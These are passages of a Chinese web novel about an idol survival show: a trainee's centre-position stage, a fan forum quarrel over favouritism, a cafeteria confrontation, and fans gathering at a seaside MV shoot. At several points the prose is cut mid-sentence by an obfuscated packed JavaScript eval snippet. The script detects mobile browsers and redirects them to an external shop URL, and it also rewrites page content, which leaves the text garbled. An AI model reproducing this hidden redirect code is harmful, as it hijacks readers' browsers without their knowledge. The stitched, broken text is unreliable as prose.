呼吸一滞。 不是英俊,不是漂亮,是一种纯粹、强悍的力量感,透过屏幕,扑面而来。 音乐在短暂的震撼后,再次涌向最终的高潮。 全员合唱,手臂挥舞,舞台灯光璀璨如星河。 终于,最后一句歌词唱毕,旋律落下。 练习生们保持着最后的结束姿势,胸膛起伏,脸上带着疲惫却兴奋的红晕。 镜头开始快速扫过每个人的ending pose。 有人对着镜头wink,有人比心,有人双手举过头顶比耶,有人喘着气露出如释重负的笑,有人试图展现深情的眼神……花样百出,各显神通。 然后,镜头移到了最中央。 从安站在那里,微微喘着气,看着正前方的镜头。 他忽然笑了。 那不是他贯穿整个表演的、阳光活力的笑,也不是空翻后那个充满力量感的锐利眼神。 这是一个……更浅,更快,甚至带着点完成艰巨任务后、轻微释然的笑。 嘴角勾起的弧度恰到好处,眼睛弯了一下,像微风拂过湖面泛起的细微涟漪。 干净,清爽,好看得毫无防备。 但这个笑容在特写中只停留了一瞬间。 仿佛只是惊鸿一瞥。 紧接着,他就抬起了右手,手臂舒展,食指和中指并拢,坚定地指向上方。 镜头毫不犹豫地跟随他的指引,迅速上摇。 画面掠过他依然溢满笑意的双眼,划过空中,最终定格在录制棚顶棚中央。 那一簇最为集中,最为耀眼的聚光灯上,光芒在镜头里晕染开,化作一片璀璨、温暖、充满希望的光晕。 视频,黑屏。 《星光》旋律的余韵似乎还在耳边回响。 伊霜愣愣地看着已经结束播放,跳出推荐列表的屏幕,手指还悬在鼠标上方。 这首歌分明已经听过无数次,这支舞也早就无比熟悉,但此刻,她却依然受到了无比的震动。 脑子里反复闪回着,从安最后那个短暂到近乎仓促的笑容。 那个笑容……太好看了。 好看得甚至有点不真实,因为出现和消失都太快了,快到来不及细细品味,快到来不及思考。 就像夜空中倏忽划过的流星,你被它的璀璨惊艳,下意识地想再看一眼,它却已隐入黑暗,只留下心头一丝淡淡的、挥之不去的怅惘和更强烈的渴望。 几乎是本能地,伊霜移动鼠标,再次点击播放。 35.(论坛体)主题曲舞台 【主题曲舞台已出,来品鉴】 —— 【主楼】 [链接] 主题曲舞台居然这么快就出来了,我看直播不是今天才拍吗 结果晚上八点就上线了 今年进度真的搞得好快啊 白天还在录舞台,晚上视频就出来了 后期老师燃尽了吧 1楼 居然出了?这么快?我的天 2楼 今年正片也上得好快 周二练习生才入营,周六第一期正片就出了 然后投票就开始了…… 我真服了,我人都还不认识呢 3楼 回复2楼 第一期正片播出,投票通道开启,往些年都是这样吧 只不过今年练习生入营到正片播出中间的间隔太短,没有给我们留出太多认识他们的时间,所以就好匆忙 不过今年是直播,虽然时间减少了,但练习生的露出大大增加,无论是谁,都有了更多的镜头,只要看直播,都能看到好多练习生 其实了解他们的机会比起往年是更多了的 就看谁能在那么多人里面冲出来 4楼 回复3楼 感觉这种直播模式虹吸效应很强啊,大家都去看那些有话题度的练习生去了 人气高的看的人就多,人气就会越来越高 没人关注的练习生,关注他们的人就会更少,没人给他们投票,更糊了 5楼 回复4楼 怎么会?那些人气低的练习生,放在往季节目里人气也不会高,节目组更不会给他们镜头,他们的人气只会更低 但这季直播,他们的镜头完全不少,只要有一点可取之处,粉丝们都能发现,然后自己剪辑出来 你看现在网上那么多练习生的切片,我就看到好多有趣的,全是粉丝剪出来的,也因此认识了不少练习生,pick了不少人 6楼 没人关心主题曲吗? 我看完了,这季这个主题曲舞台很不错啊,让人印象深刻 主题曲C位我记得初舞台的时候是C班的吧,考核那天晚上我看到有人说他是最高分我还吓了一大跳,那么多人居然让一个C班的拿了C位,但是今天一看,还真是他表现最好 在人群里面一起跳的时候,我的视线完全在他脸上移不开 这就是舞台魅力吗? 还有他最后的ENDING,我的天,太帅了 7楼 回复6楼 我也! 头一次get到了这个从安 我的妈呀,真的是少年感满满,制服一穿,站那儿一笑,就是青春气息 真的不行了吧 还有他中间那个空翻,哎哟我天,这也太帅了吧 他抬头看镜头的那个眼神,有没有人懂? 最后ending对着镜头笑的时候,更是绝美 不是,这么好的苗子,我以前怎么从没发现过? 8楼 这季主题曲舞台不错的,大家跳得都很齐,很有活力 C位选的也很好,让人印象深刻 …… 24楼 这个评论区还有人敢看吗?全是职粉翻炒 还是论坛里也有那么多水军了? 节目组捧皇族真是演都不演了 某人让人印象深刻?初舞台C班主题曲最高分的大剧本给谁不让人印象深刻? 主题曲舞台视频里面就属他镜头最多,还拍什么主题曲舞台啊?直接让他一个人全程SOLO得了呗 不,我看这季选秀也别办了,直接从安一人出道得了 还选什么秀啊 还直播?搞笑! 还真以为是一季公平公正的节目呢,剧本都摆在脸上了!我都不想多说 这个主题曲舞台视频看着就让人恶心,不想看到某人的丑脸 25楼 回复24楼 ?? 你在说什么鬼话? 节目全程直播,你要是觉得剧本,你就去把直播翻出来看啊,网上全是直播回放 你觉得哪里有问题?证据放出来 没有证据就不要在这里乱说 从安能拿到主题曲最高分,是他三天时间每分每秒练出来的,所有人都看在眼里 和他一起练习的练习生没意见,看直播的观众没意见,导师没意见,怎么,你有意见了?你看了多久直播?不会只在网络上看了切片,然后刷了几个营销号的视频吧? 你这么公正,你怎么不去把那三天的直播从头到脚看完呢? 还有,你说主题曲镜头,从安还真不是镜头最多的,组里已经有人拉表了,你大可以去看一眼 哦,不对,你既然只看切片和看营销号,想必组里发的帖也是不会去看的 我在这里给你总结一下吧 柯子晋主题曲镜头最多,有8秒特写,其次是查舟 你说镜头最多的从安,只能排到第四呢! 主题曲C位的从安都只能排到第四,这就是皇族吗?哇塞,那他要是没拿到主题曲C位,去掉那些C位专属的镜头,他怕是一个镜头都没有了呢 从安表现好,每个镜头都抓住了,每个镜头都让人记住了,就是这么争气 你不能因为他表现力好,只记住了他,就睁眼说瞎话哦 26楼 从安的镜头还真没多少 不过看完舞台他确实给人印 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002142|190127||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 象最深 他开头起的范儿,把整个舞台的基调给定了下来 中间的那个空翻,真的好帅,一点都不沉重,特别轻快,最后看向镜头的那一眼,更是感觉看到了我的心里去 还有最后的ending,笑得好甜啊,但是为什么那么短!感觉就一眨眼,就没了!我根本就没看够! 其实这样数数,从安的特写镜头也就这三个而已,其他犄角旮旯的和别人一起露脸的镜头,根本就不算吧 27楼 回复26楼 肯定不算啊! 蹭别人的镜头露的脸,能算自己的镜头吗? 谁敢看到底谁是C位? 居然有人说从安是皇族?我真服了 但凡睁大眼睛把舞台从头到脚完整看一遍呢 28楼 哎呀,感觉这季也没什么皇族不皇族的 大家的表现都很好 有特写的那些人,确实肉眼可见表现得很突出,不可能不把镜头给他们吧 然后从安的镜头虽然少,但是他的每一个镜头都很特别啊 无论是开场大C,还是中间唯独他有的特别动作,还是最后的结尾ending,视频的开头和结尾都是他,很特别了吧 虽然说是C位,但毕竟一百个练习生呢,不可能全是他的镜头呀 29楼 回复28楼 开头和结尾是每个C位肯定都有的,如果这都没有,大家还争什么C? 至于中间那个空翻,今天我全程看了直播,本来这个动作是没有的 早上他们练习了一上午,根本没有这个动作的影子 是到了下午,录了一遍之后,导演突然把从安叫过去,说了什么,然后从安回来,才多了这个动作的 三天练习的时候没有这个动作,早上彩排的时候没有这个动作,下午录制的时候突然就有这个动作了,你说这是原本就定好要给C位的动作吗?我看不是吧 之前几天的练习,也根本没见过从安练习这个动作哦 我看是导演自己看了彩排,不喜欢,才把从安叫过去要加上这个动作的 毕竟导师版本的主题曲就有这个动作,估计导演本身就很喜欢,但是练习生跳不出来呀,这有什么办法,只能取消掉了 但是从安可以跳这个动作呀!刚好从安又是C位,所以这才迫不及待加上了 所以这个动作是给C位的特别动作吗?不如说还好从安是C位,不然就没有这个动作了! …… 42楼 哇塞,这栋楼里面怎么回事,全在讨论从安 没人关注其他练习生的吗? 43楼 回复42楼 从安实火 …… 36.你们很闲吗 “收工!” 当秀导的声音响彻整个录制棚的时候,所有人都放松了下来。 主题曲舞台录制结束的时间还早,后续没有更多的录制计划,练习生们迎来了短暂的自由时间。 第一天紧张的初舞台,第二天,第三天,第四天繁重的主题曲训练。 第五天压力重重的主题曲考核。 再到第六天,舞台排练,和今天的主题曲舞台录制,所有人总算完成了节目录制第一阶段的小目标。 无论是□□还是精神,都迎来了久违的放松。 虽然根据通告,今天录制完主题曲舞台,第二天就要录制主题曲MV。 但是MV的要求肯定比舞台的要求更低一点,而且MV还是外景。 在蓝天白云之下,人的心情难免都会更加轻松一些。 所以此刻哪怕依然还站在录制棚内,但所有人的精神都已经松散开了。 从安站在原地没有动,缓缓吐出一口长气。 秀导收工的声音没有让他放松下来。 工作人员说接下来没有新的录制安排,也没有让他放松下来。 从来到节目组的第一天起,他就始终维持在一个紧张的状态。 这个选秀的机会很难得,从安迫切的想要抓住。 哪怕他已经升到了A班,拿到了主题曲c位,但一种莫名的紧张感,一直在压迫着从安,让他无法放松。 伴着周围低沉的絮语,从安垂下眼,打算去食堂吃完饭之后简单休息一下,再去练习室接着练习。 脱下有些汗湿的制服外套搭在臂弯,从安很干脆地朝着出口走去。 这个信号,立刻被许多双眼睛捕捉到了。 从安现在是什么? 是明辉娱乐出身的大公司练习生,是主题曲考核的第一,是刚刚那支主题曲舞台视频里当之无愧的C位和绝对高光。 他的镜头量、表现力、乃至最后那个巧妙又大气的ending设计,都在昭示一件事:只要后续不出大错,他的人气、话题度、乃至最终出道的可能性,都已经被抬到了一个极高的位置。 肉眼可见的人气练习生,以及肉眼可见的话题度。 于是,当从安迈开步子,原本还散落在舞台各处、或坐或聊的练习生们,立刻开始三三两两地移动起来。 动作不算突兀,有人伸着懒腰顺便往出口溜达,有人叫着同伴饿死了吃饭去,但视线余光,总是不经意地扫向那个穿着制服背影挺拔的身影。 从安能感觉到身后的动静,他没回头,脚步也没停,只是几不可查地蹙了下眉。 食堂里已经有些先到的人了,但远不如平时拥挤。 从安像往常一样,走到刘姨的窗口。 “小安,今天累坏了吧?我看直播了,跳得真好!”刘姨笑眯眯地,手下却利索得很,给他的餐盘里照例是水煮鸡胸、西兰花、一点糙米饭,份量控制得精准,“给你多加了点蛋白质,今天消耗大。” “谢谢刘姨。”从安接过餐盘,道了谢。 他端着盘子,习惯性地想往角落那个老位置走。 一转身,脚步却顿住了。 那个刚才还一个人都没有的座位,此刻已经坐了好几个人。 见他看过来,那几人立刻露出热情的笑容,其中一人甚至拍了拍身边的空位。 从安目光平静地扫过那几张脸。 有些在全员录制时打过照面,有些完全陌生。 他没说话,也没去那个被预留的位置,而是转身,走向了另一张靠近柱子、目前还空着的桌子。 他刚坐下,餐盘还没放稳,就有人影围了上来。 “从安,这里没人吧?我们一起坐啊!”一个染着栗色头发的练习生率先开口,语气熟稔得像认识了十年。 “从安,刚才舞台太帅了!那个空翻,我的天,你怎么练的?教教我呗!”另一个戴着发带的练习生紧接着说道,眼睛亮晶晶的。 “是啊是啊,C位实至名归!以后多多关照啊!” “从安你吃饭就吃这么点?太自律了,难怪身材管理这么好。” “哎,你们明辉的训练是不是特别系统?跟我们说说呗?” 七八个人,瞬间就把从安面前围得水泄不通。 声音七嘴八舌地涌过来,笑容满面,眼神热切。 食堂里其他正在吃饭的练习生纷纷侧目,有的露出看戏的表情,有的则低下头,假装没看见。 从安抬起眼,目光依次掠过眼前每一张脸。 友好,热情,笑容满面。 仿佛他和他们每一个人都是相识已久的好朋友。 而不是只认识了几天,甚至一句话都没有说过的陌生人。 这种场景他并不陌生。 无论是在哪里,这种对更有价值的人的热情都是普遍存在的。 在过去的很长一段时间里,从安也并不觉得这样有什么问题。 但是…… “你们,”从安放下筷子,他开口,声音不大,但足够让围着的每个人都听清,“很闲吗?” 热闹的寒暄戛然而止。 几张脸上的笑容僵住,似乎没听清,或者不敢相信。 从安平淡得像在讨论天气:“如果闲的话,我推荐你们赶紧吃饭,吃完饭去练习室。” “与其在这里浪费时间和我说这些没用的,”从安建议道,“不如多泡泡练习室,说不定能让自己的表现更好一些。” 在各方面差距明显的情况下,和所谓价值更高的人在一起,并不能让自己也变得有价值。 只会让自己陷入更深的漩涡。 这是从安去年之后,想了很久才想明白的道理。 他的痛苦和难过都没有任何用处,只有一步一步脚踏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17019151|190127||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实地的向前走,才能让他有希望去触摸到他想要的那个结果。 而面前这群人的靠近,甚至都不带有一丝真心。 这样的行为只会让他们离自己的目标越来越远。 死寂。 围着的那圈人,脸色以肉眼可见的速度涨红、变青、转白。 “从安!你……你这是什么意思?!”那个栗色头发的练习生最先反应过来,声音因为激动而有些拔高,带着颤抖,“我们就是打个招呼,聊两句!你瞧不起人是不是?!” 这一声,引得食堂里更多人看了过来。 从安无奈地摇了摇头:“没有瞧不起。” 就在对方脸色稍缓,以为他要找补时,从安接着说:“我只是看不到你们这样的行为,对你们自己有任何帮助,感到疑惑而已。” “……” 所有人都睁大了眼睛。 他们是实力差,他们是人气低,但这样就连和从安说话的资格都没有吗? 他们主动过来和从安打招呼,从没想过会得到这样的回应。 这是在干什么?这样的回答简直是在嘲讽他们。 很闲吗?那看看自己的表现吧。 “你……你简直……”栗发练习生指着从安,手指都在抖,气得话都说不连贯。 “脑子有病吧他!”旁边有人低声骂了一句,充满了愤懑。 “实力强一点就可以这么说话吗?太狂了!” “走走走,晦气!真当自己是什么了不起了!” 围拢的人群像是被戳破的气球,迅速散开。 每个人离开时脸色都极其难看,投向从安的目光充满了敌意和难以置信。 仿佛他做了什么十恶不赦的事情。 虽然只是拒绝了一场虚伪的社交,并把事实摊开说了而已。 从安对他们的反应视若无睹。 周围重新变得空旷,甚至因为刚才的冲突,他方圆几张桌子都暂时没人靠近。 他乐得清静,重新拿起筷子,专注地、一口一口地吃着自己那份寡淡却必要的晚餐。 咀嚼得很慢,很认真,仿佛刚才那场小小的风波从未发生。 食堂里的嗡嗡议论声低低地持续着,不时有目光复杂地瞟向这个孤岛般的角落。 从安很快吃完了,再吃完今天的补剂,他收起餐盘,动作一丝不苟。 然后,他站起身,没有看任何人,径直走向餐具回收处,接着转身离开了食堂。 外界的声音或许很重要,但当自己的实力足够强大的时候,外界的声音就再也无法撼动他了。 这是从安从过去的失败中得到的经验。 不需要在乎他人的想法。 他在做自己想做的事情,只需要考虑自己的想法,朝着自己的方向去努力就足够了。 从安背影挺直,步伐稳定,朝着练习室的方向。 37.还会有人来吗 清晨五点,天还未完全亮透,宿舍里准时响起了轻微的闹铃声。 从安睁开眼睛,按掉闹钟,在厚重窗帘的遮挡下,房间里一片漆黑。 耳边是轻微的呼吸声,他的三名室友还在沉睡。 从安感受着被窝的温暖,不是很想起。 根据工作人员的说法,今天的行程是外出拍摄主题曲MV。 没有练习,没有考核,也没有排名。 甚至今天的集合时间也格外晚些——十点。 在这样轻松的一天,他真的还要违背人性的五点起,接着去锻炼,去吃看了就想吐的减脂餐吗? ——干!干的就是这种违背人性的事情。 只要干不死,就往死里干! 他才十八岁,正是奋斗的大好年华,他哪里来的底气心安理得的躺在床上? 还想不想再娱乐圈混了? 从安沉默起身,只有双眼一片嘈杂。 等离开宿舍楼,看见外面的阳光时,从安才感觉心情好了一些。 但也好的很轻微。 短短七天,但他觉得仿佛过去了七年。 室友们只看见了他的自律,但只有从安自己知道自己的痛苦。 他单知道自律会带来帅气、实力、高分、主题曲C位、镜头……好吧,找不到不自律的理由。 从安给自己打完气,踏上环形步道,开启今天的锻炼。 等锻炼完,去食堂吃完早餐,回到宿舍时,室友们已经起了。 看见回来的从安,三人分别和从安打招呼。 打完招呼,夏实想起什么,问从安:“从安,今天你肯定会有很多粉丝来吧?” 今天的主题曲MV录制是外景,不同于前些天一直在摄影棚内拍摄,外景也就意味着室外,是公共场合,是人人都可以去的地方。 粉丝自然也可以去。 练习生们早就通过各种渠道,在网上看见了粉丝们提前知道了今天的录制信息,而且还准备好了应援。 也就意味着今天他们到达录制地点之后,能亲眼看到为他们而来的粉丝。 还能看见粉丝为他们做的应援。 一想到这一点,夏实就忍不住兴奋。 为了当爱豆练习这么久,等的不就是这一天吗? 想要站上舞台,想要有粉丝。 今天虽然不是在舞台上和粉丝见面,但是在录制场地,见到粉丝,也同样令人向往。 从安从衣柜里拿出一身干净的训练服,抱着走向卫生间,听见夏实的问话,脸上没什么表情:“不知道。” “怎么会……”夏实牙刷还在嘴里,声音含糊不清,还没等他剩下的话出口,从安已经进了卫生间,关上了门。 汪元白不知什么时候凑了过来,拉住了夏实:“你别说了,从安粉丝没说要来。” “怎么会?”夏实张大了眼睛。 就连他这种公司不大,以前从没有露过面的练习生,都在节目播出之后有了粉丝,粉丝们创建了超话,建立了后援会,每次他打开微博搜索自己的名字,都能看见不少人在讨论他。 点进超话,也能看见后援会在组织今天线下的应援。 她们在超话里商量着今天一起来录制场地,一起来给他支持,夏实看着她们的文字,心里就忍不住开始期待。 从安作为明辉娱乐公开了六年的练习生,肯定比他们拥有更多的粉丝啊。 而且节目录制到现在,从安的表现一直很好,更是主题曲C位,肯定会吸不少粉。 怎么可能会没人来线下支持从安? 汪元白声音压得更低了。 “我去从安的超话看了,里面没有讨论今天线下的微博。”他昨天晚上偷偷用藏起来的手机上网搜自己的时候,也去搜索了从安,比起没多少粉丝的他,从安无论是微博粉丝数,还是超话粉丝数,都多他们不止一个量级。 但在粉丝数差距如此大的情况下,从安的超话却意外的平静。 没人聊天,没人讨论,遍布首页的,只有不同账号带着话题发布的从安九宫格。 一条接一条,仿佛看不见尽头。 和自己超话里那些各种叽叽喳喳的讨论比起来,汪元白不太清楚从安超话里这样的情况,意味着什么。 听汪元白简单说完,夏实不再说话,默默刷牙。 他倒是没去搜索从安,只搜索了自己,然后搜索了一下节目的话题。 这样想来,他昨天在节目的话题下面,看到了不少练习生的粉丝,大家发布着不同练习生的照片,安利着不同的练习生,而在其中,属于从安的照片,好像确实寥寥无几。 从安居然没什么粉丝吗? 这个认知有些超出夏实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17031883|190127||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的预料。 但仔细一想,如果从安的粉丝多,他去年应该就会直接成团出道了吧? 而不是等到今年,和他们一起参加选秀。 等从安洗完澡从卫生间出来,宿舍里大家已经不再讨论今天会不会见到粉丝的事情了。 他们早就换了话题,开始说起MV会怎么拍。 从“我们去的是海边,肯定会有玩水!”到“什么时候能拍完”,中间围绕着各种猜想,把MV的拍摄细节猜了一个遍。 从安没有加入他们的话题,只安安静静地擦头发,等把头发擦干,方便做造型。 只是夏实的那个问题,却一直萦绕在从安脑海里。 今天会有粉丝来吗? 从安不知道。 放在一年前,他能肯定地给出答案。 会来,当然会来。 这是他当练习生的五年时间里,每一次线下时,看到的每一个写着他名字的灯牌后,得到的信心。 开始时只有几个,他需要看遍全场,才能看见那几个‘安’字,但随着他们的演出越开越多,这个‘安’字也随之增多,他的应援色也在粉丝的讨论下定了下来——珊瑚红色。 比红色更粉一些,比粉色更红一些,夹在五代其他练习生的红色粉色应援色里面,会混成一团,但他每次都能一眼看见,迅速辨别出来,那些是为他而来的人。 直到在他们的最后一次演出上,在成团夜当晚,他看见了有史以来最多的珊瑚红,但也是那一晚,他让那么多为他而来的人失望了。 五年的努力,五年的付出,得到的却是一片虚无。 从安那个时候感受到的不是难过,他也没有伤心。 因为有一种更浓重的情绪纠缠着他,让他无法思考。 是珊瑚红下哭泣的脸庞,痛苦的双眼,和珊瑚红之外,更多,更密,更无法忽视的其他颜色下激动的欢呼。 成功值得庆贺,但不会有人在乎失败者的落寞。 甚至就连他这个失败者自己,都无法为那些哭泣的人给出安慰。 从安看见自己微博下面评论的数量一次比一次变得更少,看着那些曾经熟悉的id消失不见。 一年过去,他不确定还有多少人愿意为他而来。 还会有人来吗? 来支持他这个曾经让所有人失望的失败者? 38.大巴车来了 清晨五点,天还是墨蓝色。 伊霜按掉枕边震动的手机,屏幕的光在黑暗里刺眼地亮了一下。 05:00。 是一个能让期末周的大学生翻白眼去世的时间。 伊霜轻轻坐起身,旁边床的室友动了一下,她立刻停了下来。 等了一会儿,确定室友没有被自己吵醒,呼吸平稳还在睡觉的时候,她才松了口气。 要是因为她的早起,导致整个宿舍的人都跟着醒了过来,那她可真是千古罪人了。 轻手轻脚下了床,伊霜小心翼翼地去阳台上洗漱。 虽然脑子还很困,但抬头看见镜子里的自己时,伊霜的脸上只有笑容。 期末周,工作日,早晨五点——但这有什么关系呢? 她之前那么努力地复习,不就是为了今天吗? 为了今天能去线下,能去那个陌生的城市,能久违的见到那个人。 洗漱完毕,伊霜回到房间换好衣服,背起早就收拾好的背包,再次小心翼翼地开门,关门,等站上走廊走出好一段路之后,伊霜才兴奋地奔跑起来。 激动的情绪一直持续到伊霜坐上前往机场的地铁。 去机场的路并不近,但伊霜也并没有浪费这路上的时间。 掏出手机,点开微博,伊霜娴熟地点进从安超话签到。 连签次数已经来到了上千天。 虽然这个数字并没有实际用处,但象征意义已经足够伊霜坚持。 然后伊霜开始发微博。 【早安打卡】配图是从安主题曲舞台的九宫格。 换了不同文案一连发布了十条,并给其他人发布的微博点赞评论之后,伊霜才开始下一项任务。 点进关注页面,新的微博已经发布。 【今日数据任务】转发节目组官博最新微博,评论带上#从安少年气#话题。 【净化链接】举报恶意对比帖。 伊霜一条条完成,动作熟练得像呼吸。 流量时代,数据就是人气最直观的展现。 数据好的人不一定人气高,但数据差的人,人气一定不好。 伊霜深知这一点。 而粉丝,绝不会拖从安的后腿。 这不只是伊霜的想法,更是超话里那群一直矜矜业业做数据的女孩儿们的想法。 就算被路人称为数据女工那又如何?她们更不能接受自家的孩子在网上被人嘲数据差。 别人家有的,她们也要有! 做完今天的数据,地铁也差不多到站。 机场,安检,候机。 七点十分,飞机准时起飞。 飞机降落时是九点二十。 伊霜走出机场,没急着离开,而是站在到达口等。 没多久,两个女孩从不同方向跑过来。 “霜霜!” “等久了吧?” 三个人抱在一起,脸上都是喜悦的笑容。 她们三个是过去几年一场场线下追出来的好朋友,每次有从安的活动,只要条件允许,她们都会一起去,一年年下来,早就成为了很好的朋友。 这次决定来MV拍摄现场,伊霜只是在朋友圈问了一句,她们俩就在评论区回复了。 三人一拍即合,相约而来。 “你们加线下群了吗?”伊霜掏出手机问。 “没有。”另两人摇摇头。 “我拉你们进去。”伊霜点开群聊开始拉人。 前几天知道节目组今天有外出录制的时候,伊霜只犹豫了一秒,就决定来。 等在朋友圈约到两个搭子,伊霜就彻底投入学习的海洋中。 还是昨天把所有事情都处理的差不多了,她才抽出空来看了下这次线下的消息,然后就看见粉丝群里有人发的这次线下群。 “这么多人?”另个朋友一进群,就被人数惊到了。 “对,我也没想到有这么多人。”伊霜看了眼屏幕上显示的数字,一百多个人,而这只是一个普普通通的MV录制。 没有舞台,没有互动,没有近距离的见面,只是隔着远远的距离,看从安在镜头下录制,她们就来了一百多人…… “我还以为大家会更想去之后的公演。” “我也是说。”伊霜点头,不过她也理解这次为什么会有这么多人,“太久没见过从安了,所以大家没忍住来了吧。” 毕竟她就是这样。 “也是。”朋友们也是差不多的想法。 没再聊下去,约的车已经到了。 出租车上,司机是个健谈的中年男人。 “小姑娘们,这个点去海边?不是周末也不是假期,去玩啊?” “去看节目录制。”伊霜说。 “节目?什么节目?明星吗?哪个明星?”司机从后视镜里看她们。 “一个选秀节目,练习生。” “练习生?没出道的那种?”司机似乎不太理解,“那有什么好看的?还没出名呢。” 三人坐在后座一起笑,没有再解释。 很多事情不需要解释。 就像伊霜不会解释自己为什么要在一个超话连续签到,不会解释为什么会坚持给从安做数据,不会解释只是一次MV录制,自己为什么要跨越千里,坐飞机来到线下。 不是所有东西都有理由。 但此刻的兴奋激动不会作假。 车开上海滨大道时,远远就能看见一片斑斓的色彩。 “嚯!”司机惊叹一声,“那是啥?” 伊霜抬眼望去,一面面旗帜在海风中飞舞。 是注水旗。 一面接一面,沿着海岸线排开,在风里猎猎作响。红的、蓝的、黄的、绿的……每一面上都印着不同的面孔和名字。 “到了。”伊霜说。 司机踩了刹车。 “等等,”伊霜指着前方,“再往前开一点。” “哪儿?” “那片红色的地方。” 司机眯眼看去,这才发现在五颜六色的旗帜中,还有一片格外浓郁的红色——好像是红色,但又没那么红。 不是一面两面,几十面连成一片,像一道红色的海浪,沿着海岸线铺开。 车停在路边。 伊霜三人下车,没急着拍照,四下看了看。 这是一条很长的海滨大道,一侧是细腻的沙滩和一望无际的海洋。 而另一侧的路边,此刻聚集了无数的女孩儿。 她们站在一起,穿着五颜六色的衣服,脸上是如出一辙的笑容。 伊霜三人很快就找到了自己的目标。 那是一辆餐车,车身上贴着巨大的横幅,上面是从安的照片和一行字:“从心出发,安然绽放”。 餐车前已经排了不短的队伍。 都是女孩,穿着珊瑚红色的衣服,或者身上有珊瑚红色的配饰,发绳、背包、丝带…… 总之,身上或多或少都有着相同的颜色。 秩序井然。 实在很难不让人注意到。 伊霜三人一起走过去,排在队尾。 前面的女孩回头看了一眼,随后两人都睁大了眼睛。 “你也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我们家人就是这么多呀。”另一个朋友抬起下巴,一脸骄傲:“我们数据组都陪了从安六年了,每次线下,每次应援都做得非常好,这次新出的周边设计也很不错,你们看今天核销的人那么多,下次肯定也能做很棒的应援了。” “其他家的粉丝我都不想说,她们连数据组都没有吧,有人做应援吗?估计只能几个散粉凑钱自己做吧。” “就这样还敢来拉踩我们家站子,哪里来的自信?” “如果不是说要稳一点,留一个好印象,我早就骂回去了。” 她的声音越来越大,吓得伊霜连忙拉住了她:“你别说了,小点声。” “怕什么?周围全是我们家的人,其他家粉丝都在外面,根本不往这里来。” 伊霜四处看了看。 可能是这里的珊瑚红浓度过高,其他一看不是从安粉丝的人,确实没几个往这边走。 就算过来了,也顺着马路迅速地绕了过去。 在这群珊瑚红中停留的人,几乎没有。 “说是这么说,但不怕一万就怕万一,还是不要给从安拉仇恨。” “好吧。” 接着,大家找了一个地方坐了下来,随着时间流逝,海边的人越来越多,沙滩上也出现了节目组的人影。 带着工牌,扛着机器,在沙滩上忙碌着。 路边的粉丝们纷纷起身,翘首以盼,终于,在漫长的等待过后,远处突然传来了一阵欢呼。 伊霜抬头望去。 大巴车来了。 39.为什么这么努力 大巴车缓缓停下。 车门打开时,海风裹挟着咸湿的气息和远处隐隐的喧哗一同涌了进来。 练习生们陆续起身,挨个下车。 有人伸着懒腰,有人迫不及待地探头张望,有人深吸一口气,脸上露出久违的笑容。 从安坐在最后一排靠窗的位置,没动。 他看向窗外。 先是看见了海。 蔚蓝,广阔,阳光洒在海面上,碎成千万片晃动的光斑。 沙滩是浅金色的,工作人员正在布置器材,白色的遮阳棚像蘑菇一样散落着。 然后他看见了路边。 五颜六色的旗帜在风里飘扬,像一片斑斓的森林。每一面旗上都是一张年轻的脸,一个名字。 旗子下面站着人,很多很多人,举着相机、手机、手幅,踮着脚尖朝这边望。 是粉丝。 从安的目光扫过那片五彩的森林。 已经有不少练习生下了车,他们站在车旁,目不转睛地盯着那片粉丝聚集的地方,眯着眼睛,试图看清那一个个远距离有些小的名字。 从安的视线一扫而过,没有停留,继续往前滑。 然后,他顿住了。 在那些斑斓的色彩中,有一片颜色不一样。 不是纯红,也不是粉,是一种介于两者之间的、更温暖也更沉稳的颜色。 珊瑚红。 从安坐直了身体,贴近了窗边。 他看见那片珊瑚红不是一面两面旗,而是几十面连成一片,沿着海岸线铺开,像一道红色的城墙。 旗子在风里翻涌,此起彼伏,气势惊人。 旗子下面,是人。 穿着珊瑚红色衣服的人,戴着珊瑚红色发箍的人,手里拿着珊瑚红色手幅的人。 她们站在一起,没有拥挤,没有推搡,只是安静地站着,朝着大巴车的方向望。 人数太多了。 多到从安第一眼甚至没反应过来。 他想过今天会有粉丝来。 可能会有一个,几个,十几个,最多也不超过几十个。 毕竟大半年没有活动,毕竟他的人气一向不算高,毕竟…… 